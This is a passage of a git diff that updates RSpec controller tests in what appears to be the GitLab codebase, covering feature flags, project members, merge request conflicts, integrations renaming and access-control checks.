- related_count = recorded.log
- .count { |query| query.include?('operations_feature_flag') }
-
- expect(related_count).to be_within(5).of(2)
- end
- end
-
context 'with version 1 and 2 feature flags' do
let!(:new_version_feature_flag) do
create(:operations_feature_flag, :new_version_flag, project: project, name: 'feature_flag_c')
@@ -235,7 +181,7 @@ RSpec.describe Projects::FeatureFlagsController do
subject { get(:show, params: params, format: :json) }
let!(:feature_flag) do
- create(:operations_feature_flag, project: project)
+ create(:operations_feature_flag, :legacy_flag, project: project)
end
let(:params) do
@@ -371,6 +317,42 @@ RSpec.describe Projects::FeatureFlagsController do
end
end
+ describe 'GET edit' do
+ subject { get(:edit, params: params) }
+
+ context 'with legacy flags' do
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, project: project) }
+
+ let(:params) do
+ {
+ namespace_id: project.namespace,
+ project_id: project,
+ iid: feature_flag.iid
+ }
+ end
+
+ it 'returns not found' do
+ is_expected.to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'with new version flags' do
+ let!(:feature_flag) { create(:operations_feature_flag, project: project) }
+
+ let(:params) do
+ {
+ namespace_id: project.namespace,
+ project_id: project,
+ iid: feature_flag.iid
+ }
+ end
+
+ it 'returns successfully' do
+ is_expected.to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
describe 'POST create.json' do
subject { post(:create, params: params, format: :json) }
@@ -762,7 +744,7 @@ RSpec.describe Projects::FeatureFlagsController do
describe 'DELETE destroy.json' do
subject { delete(:destroy, params: params, format: :json) }
- let!(:feature_flag) { create(:operations_feature_flag, project: project) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, project: project) }
let(:params) do
{
diff --git a/spec/controllers/projects/feature_flags_user_lists_controller_spec.rb b/spec/controllers/projects/feature_flags_user_lists_controller_spec.rb
index e0d1d3765b2..32817f048e6 100644
--- a/spec/controllers/projects/feature_flags_user_lists_controller_spec.rb
+++ b/spec/controllers/projects/feature_flags_user_lists_controller_spec.rb
@@ -16,6 +16,39 @@ RSpec.describe Projects::FeatureFlagsUserListsController do
{ namespace_id: project.namespace, project_id: project }.merge(extra_params)
end
+ describe 'GET #index' do
+ it 'redirects when the user is unauthenticated' do
+ get(:index, params: request_params)
+
+ expect(response).to redirect_to(new_user_session_path)
+ end
+
+ it 'returns not found if the user does not belong to the project' do
+ user = create(:user)
+ sign_in(user)
+
+ get(:index, params: request_params)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'returns not found for a reporter' do
+ sign_in(reporter)
+
+ get(:index, params: request_params)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'renders the new page for a developer' do
+ sign_in(developer)
+
+ get(:index, params: request_params)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
describe 'GET #new' do
it 'redirects when the user is unauthenticated' do
get(:new, params: request_params)
diff --git a/spec/controllers/projects/forks_controller_spec.rb b/spec/controllers/projects/forks_controller_spec.rb
index 8ca3009e0c7..e53e53980b5 100644
--- a/spec/controllers/projects/forks_controller_spec.rb
+++ b/spec/controllers/projects/forks_controller_spec.rb
@@ -195,6 +195,25 @@ RSpec.describe Projects::ForksController do
expect(json_response['namespaces'].length).to eq(1)
expect(json_response['namespaces'][0]['id']).to eq(group.id)
end
+
+ context 'N+1 queries' do
+ before do
+ create(:fork_network, root_project: project)
+ end
+
+ it 'avoids N+1 queries' do
+ do_request = -> { get :new, format: format, params: { namespace_id: project.namespace, project_id: project } }
+
+ # warm up
+ do_request.call
+
+ control = ActiveRecord::QueryRecorder.new { do_request.call }
+
+ create(:group, :public).add_owner(user)
+
+ expect { do_request.call }.not_to exceed_query_limit(control)
+ end
+ end
end
end
diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb
index 059e7884d55..7569a18baeb 100644
--- a/spec/controllers/projects/issues_controller_spec.rb
+++ b/spec/controllers/projects/issues_controller_spec.rb
@@ -310,7 +310,7 @@ RSpec.describe Projects::IssuesController do
context 'external issue tracker' do
let!(:service) do
- create(:custom_issue_tracker_service, project: project, new_issue_url: 'http://test.com')
+ create(:custom_issue_tracker_integration, project: project, new_issue_url: 'http://test.com')
end
before do
diff --git a/spec/controllers/projects/mattermosts_controller_spec.rb b/spec/controllers/projects/mattermosts_controller_spec.rb
index 10bcee28f71..edec8c3e9c6 100644
--- a/spec/controllers/projects/mattermosts_controller_spec.rb
+++ b/spec/controllers/projects/mattermosts_controller_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe Projects::MattermostsController do
describe 'GET #new' do
before do
- allow_next_instance_of(MattermostSlashCommandsService) do |instance|
+ allow_next_instance_of(Integrations::MattermostSlashCommands) do |instance|
allow(instance).to receive(:list_teams).and_return([])
end
end
@@ -43,7 +43,7 @@ RSpec.describe Projects::MattermostsController do
context 'no request can be made to mattermost' do
it 'shows the error' do
- allow_next_instance_of(MattermostSlashCommandsService) do |instance|
+ allow_next_instance_of(Integrations::MattermostSlashCommands) do |instance|
allow(instance).to receive(:configure).and_return([false, "error message"])
end
@@ -53,7 +53,7 @@ RSpec.describe Projects::MattermostsController do
context 'the request is succesull' do
before do
- allow_next_instance_of(Mattermost::Command) do |instance|
+ allow_next_instance_of(::Mattermost::Command) do |instance|
allow(instance).to receive(:create).and_return('token')
end
end
diff --git a/spec/controllers/projects/merge_requests/conflicts_controller_spec.rb b/spec/controllers/projects/merge_requests/conflicts_controller_spec.rb
index c2cc3d10ea0..e07b7e4586a 100644
--- a/spec/controllers/projects/merge_requests/conflicts_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/conflicts_controller_spec.rb
@@ -17,8 +17,31 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
end
describe 'GET show' do
+ context 'when the request is html' do
+ before do
+ allow(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to receive(:track_loading_conflict_ui_action)
+
+ get :show,
+ params: {
+ namespace_id: merge_request_with_conflicts.project.namespace.to_param,
+ project_id: merge_request_with_conflicts.project,
+ id: merge_request_with_conflicts.iid
+ },
+ format: 'html'
+ end
+
+ it 'does tracks the resolve call' do
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to have_received(:track_loading_conflict_ui_action).with(user: user)
+ end
+ end
+
context 'when the conflicts cannot be resolved in the UI' do
before do
+ allow(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to receive(:track_loading_conflict_ui_action)
+
allow(Gitlab::Git::Conflict::Parser).to receive(:parse)
.and_raise(Gitlab::Git::Conflict::Parser::UnmergeableFile)
@@ -38,6 +61,11 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
it 'returns JSON with a message' do
expect(json_response.keys).to contain_exactly('message', 'type')
end
+
+ it 'does not track the resolve call' do
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .not_to have_received(:track_loading_conflict_ui_action).with(user: user)
+ end
end
context 'with valid conflicts' do
@@ -145,20 +173,19 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
conflict_for_path(path)
end
- it 'returns a 200 status code' do
- expect(response).to have_gitlab_http_status(:ok)
- end
-
- it 'returns the file in JSON format' do
+ it 'returns a 200 and the file in JSON format' do
content = MergeRequests::Conflicts::ListService.new(merge_request_with_conflicts)
.file_for_path(path, path)
.content
- expect(json_response).to include('old_path' => path,
- 'new_path' => path,
- 'blob_icon' => 'doc-text',
- 'blob_path' => a_string_ending_with(path),
- 'content' => content)
+ aggregate_failures do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to include('old_path' => path,
+ 'new_path' => path,
+ 'blob_icon' => 'doc-text',
+ 'blob_path' => a_string_ending_with(path),
+ 'content' => content)
+ end
end
end
end
@@ -166,6 +193,11 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
context 'POST resolve_conflicts' do
let!(:original_head_sha) { merge_request_with_conflicts.diff_head_sha }
+ before do
+ allow(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to receive(:track_resolve_conflict_action)
+ end
+
def resolve_conflicts(files)
post :resolve_conflicts,
params: {
@@ -201,13 +233,16 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
resolve_conflicts(resolved_files)
end
- it 'creates a new commit on the branch' do
- expect(original_head_sha).not_to eq(merge_request_with_conflicts.source_branch_head.sha)
- expect(merge_request_with_conflicts.source_branch_head.message).to include('Commit message')
- end
+ it 'handles the success case' do
+ aggregate_failures do
+ # creates a new commit on the branch
+ expect(original_head_sha).not_to eq(merge_request_with_conflicts.source_branch_head.sha)
+ expect(merge_request_with_conflicts.source_branch_head.message).to include('Commit message')
- it 'returns an OK response' do
- expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to have_received(:track_resolve_conflict_action).with(user: user)
+ end
end
end
@@ -232,16 +267,17 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
resolve_conflicts(resolved_files)
end
- it 'returns a 400 error' do
- expect(response).to have_gitlab_http_status(:bad_request)
- end
-
- it 'has a message with the name of the first missing section' do
- expect(json_response['message']).to include('6eb14e00385d2fb284765eb1cd8d420d33d63fc9_21_21')
- end
+ it 'handles the error case' do
+ aggregate_failures do
+ # has a message with the name of the first missing section
+ expect(json_response['message']).to include('6eb14e00385d2fb284765eb1cd8d420d33d63fc9_21_21')
+ # does not create a new commit
+ expect(original_head_sha).to eq(merge_request_with_conflicts.source_branch_head.sha)
- it 'does not create a new commit' do
- expect(original_head_sha).to eq(merge_request_with_conflicts.source_branch_head.sha)
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to have_received(:track_resolve_conflict_action).with(user: user)
+ end
end
end
@@ -262,16 +298,17 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
resolve_conflicts(resolved_files)
end
- it 'returns a 400 error' do
- expect(response).to have_gitlab_http_status(:bad_request)
- end
+ it 'handles the error case' do
+ aggregate_failures do
+ # has a message with the name of the missing file
+ expect(json_response['message']).to include('files/ruby/popen.rb')
+ # does not create a new commit
+ expect(original_head_sha).to eq(merge_request_with_conflicts.source_branch_head.sha)
- it 'has a message with the name of the missing file' do
- expect(json_response['message']).to include('files/ruby/popen.rb')
- end
-
- it 'does not create a new commit' do
- expect(original_head_sha).to eq(merge_request_with_conflicts.source_branch_head.sha)
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to have_received(:track_resolve_conflict_action).with(user: user)
+ end
end
end
@@ -300,16 +337,17 @@ RSpec.describe Projects::MergeRequests::ConflictsController do
resolve_conflicts(resolved_files)
end
- it 'returns a 400 error' do
- expect(response).to have_gitlab_http_status(:bad_request)
- end
-
- it 'has a message with the path of the problem file' do
- expect(json_response['message']).to include('files/ruby/popen.rb')
- end
+ it 'handles the error case' do
+ aggregate_failures do
+ # has a message with the path of the problem file
+ expect(json_response['message']).to include('files/ruby/popen.rb')
+ # does not create a new commit
+ expect(original_head_sha).to eq(merge_request_with_conflicts.source_branch_head.sha)
- it 'does not create a new commit' do
- expect(original_head_sha).to eq(merge_request_with_conflicts.source_branch_head.sha)
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to have_received(:track_resolve_conflict_action).with(user: user)
+ end
end
end
end
diff --git a/spec/controllers/projects/packages/infrastructure_registry_controller_spec.rb b/spec/controllers/projects/packages/infrastructure_registry_controller_spec.rb
new file mode 100644
index 00000000000..dc5a022eb7b
--- /dev/null
+++ b/spec/controllers/projects/packages/infrastructure_registry_controller_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::Packages::InfrastructureRegistryController do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :private) }
+
+ let(:params) { { namespace_id: project.namespace, project_id: project } }
+
+ before do
+ sign_in(user)
+ project.add_maintainer(user)
+ end
+
+ describe 'GET #index' do
+ subject { get :index, params: params, format: :html }
+
+ it_behaves_like 'returning response status', :ok
+
+ context 'when the feature is disabled' do
+ before do
+ stub_feature_flags(infrastructure_registry_page: false)
+ end
+
+ it_behaves_like 'returning response status', :not_found
+ end
+ end
+
+ describe 'GET #show' do
+ let_it_be(:terraform_module) { create(:terraform_module_package, project: project) }
+
+ subject { get :show, params: params.merge(id: terraform_module.id), format: :html }
+
+ it_behaves_like 'returning response status', :ok
+
+ context 'when the feature is disabled' do
+ before do
+ stub_feature_flags(infrastructure_registry_page: false)
+ end
+
+ it_behaves_like 'returning response status', :not_found
+ end
+ end
+end
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index 0e6b5e84d85..a80c5fa82f6 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -274,30 +274,26 @@ RSpec.describe Projects::PipelinesController do
end
describe 'GET #index' do
- context 'pipeline_empty_state_templates experiment' do
- before do
- stub_application_setting(auto_devops_enabled: false)
- end
+ before do
+ stub_application_setting(auto_devops_enabled: false)
+ end
- it 'tracks the view', :experiment do
- expect(experiment(:pipeline_empty_state_templates))
- .to track(:view, value: project.namespace_id)
- .with_context(actor: user)
- .on_next_instance
+ def action
+ get :index, params: { namespace_id: project.namespace, project_id: project }
+ end
- get :index, params: { namespace_id: project.namespace, project_id: project }
- end
+ subject { project.namespace }
+
+ context 'pipeline_empty_state_templates experiment' do
+ it_behaves_like 'tracks assignment and records the subject', :pipeline_empty_state_templates, :namespace
end
context 'code_quality_walkthrough experiment' do
- it 'tracks the view', :experiment do
- expect(experiment(:code_quality_walkthrough))
- .to track(:view, property: project.root_ancestor.id.to_s)
- .with_context(namespace: project.root_ancestor)
- .on_next_instance
+ it_behaves_like 'tracks assignment and records the subject', :code_quality_walkthrough, :namespace
+ end
- get :index, params: { namespace_id: project.namespace, project_id: project }
- end
+ context 'ci_runner_templates experiment' do
+ it_behaves_like 'tracks assignment and records the subject', :ci_runner_templates, :namespace
end
end
@@ -878,19 +874,6 @@ RSpec.describe Projects::PipelinesController do
expect(::Ci::RetryPipelineWorker).to have_received(:perform_async).with(pipeline.id, user.id)
end
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(background_pipeline_retry_endpoint: false)
- end
-
- it 'retries the pipeline without returning any content' do
- post_retry
-
- expect(response).to have_gitlab_http_status(:no_content)
- expect(build.reload).to be_retried
- end
- end
-
context 'when builds are disabled' do
let(:feature) { ProjectFeature::DISABLED }
diff --git a/spec/controllers/projects/project_members_controller_spec.rb b/spec/controllers/projects/project_members_controller_spec.rb
index bb817fc94b2..9ed43a251a2 100644
--- a/spec/controllers/projects/project_members_controller_spec.rb
+++ b/spec/controllers/projects/project_members_controller_spec.rb
@@ -3,9 +3,9 @@
require('spec_helper')
RSpec.describe Projects::ProjectMembersController do
- let(:user) { create(:user) }
- let(:group) { create(:group, :public) }
- let(:project) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project, reload: true) { create(:project, :public) }
before do
travel_to DateTime.new(2019, 4, 1)
@@ -24,8 +24,8 @@ RSpec.describe Projects::ProjectMembersController do
context 'project members' do
context 'when project belongs to group' do
- let(:user_in_group) { create(:user) }
- let(:project_in_group) { create(:project, :public, group: group) }
+ let_it_be(:user_in_group) { create(:user) }
+ let_it_be(:project_in_group) { create(:project, :public, group: group) }
before do
group.add_owner(user_in_group)
@@ -69,7 +69,7 @@ RSpec.describe Projects::ProjectMembersController do
end
context 'group links' do
- let!(:project_group_link) { create(:project_group_link, project: project, group: group) }
+ let_it_be(:project_group_link) { create(:project_group_link, project: project, group: group) }
it 'lists group links' do
get :index, params: { namespace_id: project.namespace, project_id: project }
@@ -90,7 +90,7 @@ RSpec.describe Projects::ProjectMembersController do
end
context 'invited members' do
- let!(:invited_member) { create(:project_member, :invited, project: project) }
+ let_it_be(:invited_member) { create(:project_member, :invited, project: project) }
before do
project.add_maintainer(user)
@@ -123,7 +123,7 @@ RSpec.describe Projects::ProjectMembersController do
end
context 'access requests' do
- let(:access_requester_user) { create(:user) }
+ let_it_be(:access_requester_user) { create(:user) }
before do
project.request_access(access_requester_user)
@@ -158,7 +158,7 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'POST create' do
- let(:project_user) { create(:user) }
+ let_it_be(:project_user) { create(:user) }
before do
sign_in(user)
@@ -169,7 +169,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_developer(user)
end
- it 'returns 404' do
+ it 'returns 404', :aggregate_failures do
post :create, params: {
namespace_id: project.namespace,
project_id: project,
@@ -187,11 +187,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_maintainer(user)
end
- it 'adds user to members' do
- expect_next_instance_of(Members::CreateService) do |instance|
- expect(instance).to receive(:execute).and_return(status: :success)
- end
-
+ it 'adds user to members', :aggregate_failures, :snowplow do
post :create, params: {
namespace_id: project.namespace,
project_id: project,
@@ -201,9 +197,17 @@ RSpec.describe Projects::ProjectMembersController do
expect(controller).to set_flash.to 'Users were successfully added.'
expect(response).to redirect_to(project_project_members_path(project))
+ expect(project.users).to include project_user
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'project-members-page',
+ property: 'existing_user',
+ user: user
+ )
end
- it 'adds no user to members' do
+ it 'adds no user to members', :aggregate_failures do
expect_next_instance_of(Members::CreateService) do |instance|
expect(instance).to receive(:execute).and_return(status: :failure, message: 'Message')
end
@@ -230,7 +234,7 @@ RSpec.describe Projects::ProjectMembersController do
unrelated_project.add_maintainer(project_bot)
end
- it 'returns error' do
+ it 'returns error', :aggregate_failures do
post :create, params: {
namespace_id: project.namespace,
project_id: project,
@@ -261,7 +265,7 @@ RSpec.describe Projects::ProjectMembersController do
context 'when set to a date in the past' do
let(:expires_at) { 2.days.ago }
- it 'does not add user to members' do
+ it 'does not add user to members', :aggregate_failures do
subject
expect(flash[:alert]).to include('Expires at cannot be a date in the past')
@@ -273,7 +277,7 @@ RSpec.describe Projects::ProjectMembersController do
context 'when set to a date in the future' do
let(:expires_at) { 5.days.from_now }
- it 'adds user to members' do
+ it 'adds user to members', :aggregate_failures do
subject
expect(controller).to set_flash.to 'Users were successfully added.'
@@ -285,7 +289,7 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'PUT update' do
- let(:requester) { create(:project_member, :access_request, project: project) }
+ let_it_be(:requester) { create(:project_member, :access_request, project: project) }
before do
project.add_maintainer(user)
@@ -393,7 +397,7 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'DELETE destroy' do
- let(:member) { create(:project_member, :developer, project: project) }
+ let_it_be(:member) { create(:project_member, :developer, project: project) }
before do
sign_in(user)
@@ -417,7 +421,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_developer(user)
end
- it 'returns 404' do
+ it 'returns 404', :aggregate_failures do
delete :destroy, params: {
namespace_id: project.namespace,
project_id: project,
@@ -434,7 +438,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_maintainer(user)
end
- it '[HTML] removes user from members' do
+ it '[HTML] removes user from members', :aggregate_failures do
delete :destroy, params: {
namespace_id: project.namespace,
project_id: project,
@@ -447,7 +451,7 @@ RSpec.describe Projects::ProjectMembersController do
expect(project.members).not_to include member
end
- it '[JS] removes user from members' do
+ it '[JS] removes user from members', :aggregate_failures do
delete :destroy, params: {
namespace_id: project.namespace,
project_id: project,
@@ -483,7 +487,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_developer(user)
end
- it 'removes user from members' do
+ it 'removes user from members', :aggregate_failures do
delete :leave, params: {
namespace_id: project.namespace,
project_id: project
@@ -517,7 +521,7 @@ RSpec.describe Projects::ProjectMembersController do
project.request_access(user)
end
- it 'removes user from members' do
+ it 'removes user from members', :aggregate_failures do
delete :leave, params: {
namespace_id: project.namespace,
project_id: project
@@ -537,7 +541,7 @@ RSpec.describe Projects::ProjectMembersController do
sign_in(user)
end
- it 'creates a new ProjectMember that is not a team member' do
+ it 'creates a new ProjectMember that is not a team member', :aggregate_failures do
post :request_access, params: {
namespace_id: project.namespace,
project_id: project
@@ -553,7 +557,7 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'POST approve' do
- let(:member) { create(:project_member, :access_request, project: project) }
+ let_it_be(:member) { create(:project_member, :access_request, project: project) }
before do
sign_in(user)
@@ -577,7 +581,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_developer(user)
end
- it 'returns 404' do
+ it 'returns 404', :aggregate_failures do
post :approve_access_request, params: {
namespace_id: project.namespace,
project_id: project,
@@ -594,7 +598,7 @@ RSpec.describe Projects::ProjectMembersController do
project.add_maintainer(user)
end
- it 'adds user to members' do
+ it 'adds user to members', :aggregate_failures do
post :approve_access_request, params: {
namespace_id: project.namespace,
project_id: project,
@@ -611,8 +615,8 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'POST apply_import' do
- let(:another_project) { create(:project, :private) }
- let(:member) { create(:user) }
+ let_it_be(:another_project) { create(:project, :private) }
+ let_it_be(:member) { create(:user) }
before do
project.add_maintainer(user)
@@ -637,7 +641,7 @@ RSpec.describe Projects::ProjectMembersController do
include_context 'import applied'
- it 'imports source project members' do
+ it 'imports source project members', :aggregate_failures do
expect(project.team_members).to include member
expect(controller).to set_flash.to 'Successfully imported'
expect(response).to redirect_to(
@@ -660,7 +664,7 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'POST create' do
- let(:stranger) { create(:user) }
+ let_it_be(:stranger) { create(:user) }
context 'when creating owner' do
before do
@@ -700,7 +704,7 @@ RSpec.describe Projects::ProjectMembersController do
end
describe 'POST resend_invite' do
- let(:member) { create(:project_member, project: project) }
+ let_it_be(:member) { create(:project_member, project: project) }
before do
project.add_maintainer(user)
diff --git a/spec/controllers/projects/service_hook_logs_controller_spec.rb b/spec/controllers/projects/service_hook_logs_controller_spec.rb
index 97fb31f0546..040e59fc822 100644
--- a/spec/controllers/projects/service_hook_logs_controller_spec.rb
+++ b/spec/controllers/projects/service_hook_logs_controller_spec.rb
@@ -5,13 +5,13 @@ require 'spec_helper'
RSpec.describe Projects::ServiceHookLogsController do
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
- let(:service) { create(:drone_ci_service, project: project) }
- let(:log) { create(:web_hook_log, web_hook: service.service_hook) }
+ let(:integration) { create(:drone_ci_integration, project: project) }
+ let(:log) { create(:web_hook_log, web_hook: integration.service_hook) }
let(:log_params) do
{
namespace_id: project.namespace,
project_id: project,
- service_id: service.to_param,
+ service_id: integration.to_param,
id: log.id
}
end
@@ -35,7 +35,7 @@ RSpec.describe Projects::ServiceHookLogsController do
it 'executes the hook and redirects to the service form' do
expect_any_instance_of(ServiceHook).to receive(:execute)
expect_any_instance_of(described_class).to receive(:set_hook_execution_notice)
- expect(subject).to redirect_to(edit_project_service_path(project, service))
+ expect(subject).to redirect_to(edit_project_service_path(project, integration))
end
end
end
diff --git a/spec/controllers/projects/services_controller_spec.rb b/spec/controllers/projects/services_controller_spec.rb
index d8fb3b226ed..f8474ab1082 100644
--- a/spec/controllers/projects/services_controller_spec.rb
+++ b/spec/controllers/projects/services_controller_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe Projects::ServicesController do
let(:service) { project.create_microsoft_teams_service(webhook: 'http://webhook.com') }
it 'returns success' do
- allow_any_instance_of(MicrosoftTeams::Notifier).to receive(:ping).and_return(true)
+ allow_any_instance_of(::MicrosoftTeams::Notifier).to receive(:ping).and_return(true)
put :test, params: project_params
@@ -95,7 +95,7 @@ RSpec.describe Projects::ServicesController do
expect(response).to be_successful
expect(json_response).to be_empty
- expect(BuildkiteService.first).to be_present
+ expect(Integrations::Buildkite.first).to be_present
end
it 'creates the ServiceHook object' do
@@ -103,7 +103,7 @@ RSpec.describe Projects::ServicesController do
expect(response).to be_successful
expect(json_response).to be_empty
- expect(BuildkiteService.first.service_hook).to be_present
+ expect(Integrations::Buildkite.first.service_hook).to be_present
end
def do_put
@@ -145,7 +145,7 @@ RSpec.describe Projects::ServicesController do
end
it 'returns an error response when a network exception is raised' do
- expect_next(SlackService).to receive(:test).and_raise(Errno::ECONNREFUSED)
+ expect_next(Integrations::Slack).to receive(:test).and_raise(Errno::ECONNREFUSED)
put :test, params: project_params
diff --git a/spec/controllers/projects/settings/operations_controller_spec.rb b/spec/controllers/projects/settings/operations_controller_spec.rb
index d2934ec4e97..7ef5371f2b5 100644
--- a/spec/controllers/projects/settings/operations_controller_spec.rb
+++ b/spec/controllers/projects/settings/operations_controller_spec.rb
@@ -509,7 +509,10 @@ RSpec.describe Projects::Settings::OperationsController do
it 'tracks an event' do
expect_snowplow_event(
category: 'project:operations:tracing',
- action: 'external_url_populated'
+ action: 'external_url_populated',
+ user: user,
+ project: project,
+ namespace: project.namespace
)
end
end
diff --git a/spec/controllers/projects/templates_controller_spec.rb b/spec/controllers/projects/templates_controller_spec.rb
index bd299efb5b5..da381357bda 100644
--- a/spec/controllers/projects/templates_controller_spec.rb
+++ b/spec/controllers/projects/templates_controller_spec.rb
@@ -160,28 +160,12 @@ RSpec.describe Projects::TemplatesController do
end
shared_examples 'template names request' do
- context 'when feature flag enabled' do
- it 'returns the template names', :aggregate_failures do
- get(:names, params: { namespace_id: project.namespace, template_type: template_type, project_id: project }, format: :json)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['Project Templates'].size).to eq(2)
- expect(json_response['Project Templates'].map { |x| x.slice('name') }).to match(expected_template_names)
- end
- end
-
- context 'when feature flag disabled' do
- before do
- stub_feature_flags(inherited_issuable_templates: false)
- end
-
- it 'returns the template names', :aggregate_failures do
- get(:names, params: { namespace_id: project.namespace, template_type: template_type, project_id: project }, format: :json)
+ it 'returns the template names', :aggregate_failures do
+ get(:names, params: { namespace_id: project.namespace, template_type: template_type, project_id: project }, format: :json)
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.size).to eq(2)
- expect(json_response.map { |x| x.slice('name') }).to match(expected_template_names)
- end
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['Project Templates'].size).to eq(2)
+ expect(json_response['Project Templates'].map { |x| x.slice('name') }).to match(expected_template_names)
end
it 'fails for user with no access' do
diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb
index fdc687496b7..ce229fb861a 100644
--- a/spec/controllers/projects_controller_spec.rb
+++ b/spec/controllers/projects_controller_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe ProjectsController do
include ProjectForksHelper
using RSpec::Parameterized::TableSyntax
- let_it_be(:project, reload: true) { create(:project, service_desk_enabled: false) }
+ let_it_be(:project, reload: true) { create(:project, :with_export, service_desk_enabled: false) }
let_it_be(:public_project) { create(:project, :public) }
let_it_be(:user) { create(:user) }
@@ -243,9 +243,8 @@ RSpec.describe ProjectsController do
get :show, params: { namespace_id: empty_project.namespace, id: empty_project }
end
- it "renders the empty project view and records the experiment user", :aggregate_failures do
+ it "renders the empty project view" do
expect(response).to render_template('empty')
- expect(controller).to have_received(:record_experiment_user).with(:invite_members_empty_project_version_a)
end
end
end
@@ -1350,7 +1349,7 @@ RSpec.describe ProjectsController do
end
end
- describe '#download_export' do
+ describe '#download_export', :clean_gitlab_redis_cache do
let(:action) { :download_export }
context 'object storage enabled' do
@@ -1362,6 +1361,17 @@ RSpec.describe ProjectsController do
end
end
+ context 'when project export file is absent' do
+ it 'alerts the user and returns 302' do
+ project.export_file.file.delete
+
+ get action, params: { namespace_id: project.namespace, id: project }
+
+ expect(flash[:alert]).to include('file containing the export is not available yet')
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
context 'when project export is disabled' do
before do
stub_application_setting(project_export_enabled?: false)
diff --git a/spec/controllers/registrations_controller_spec.rb b/spec/controllers/registrations_controller_spec.rb
index ff73c0aafe8..81486c310d4 100644
--- a/spec/controllers/registrations_controller_spec.rb
+++ b/spec/controllers/registrations_controller_spec.rb
@@ -434,6 +434,18 @@ RSpec.describe RegistrationsController do
expect(User.last.last_name).to eq(base_user_params[:last_name])
expect(User.last.name).to eq("#{base_user_params[:first_name]} #{base_user_params[:last_name]}")
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:create).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => base_user_params[:username],
+ 'meta.caller_id' => 'RegistrationsController#create')
+ end
+
+ subject
+ end
end
describe '#destroy' do
@@ -525,5 +537,17 @@ RSpec.describe RegistrationsController do
end
end
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:destroy).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => user.username,
+ 'meta.caller_id' => 'RegistrationsController#destroy')
+ end
+
+ post :destroy
+ end
end
end
diff --git a/spec/controllers/search_controller_spec.rb b/spec/controllers/search_controller_spec.rb
index 32ac83847aa..3a2986f6cbe 100644
--- a/spec/controllers/search_controller_spec.rb
+++ b/spec/controllers/search_controller_spec.rb
@@ -258,7 +258,7 @@ RSpec.describe SearchController do
expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers['Cache-Control']).to include('max-age=60, private')
+ expect(response.headers['Cache-Control']).to eq('no-store')
end
end
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index 4d10b979c69..8b02cfa30ab 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
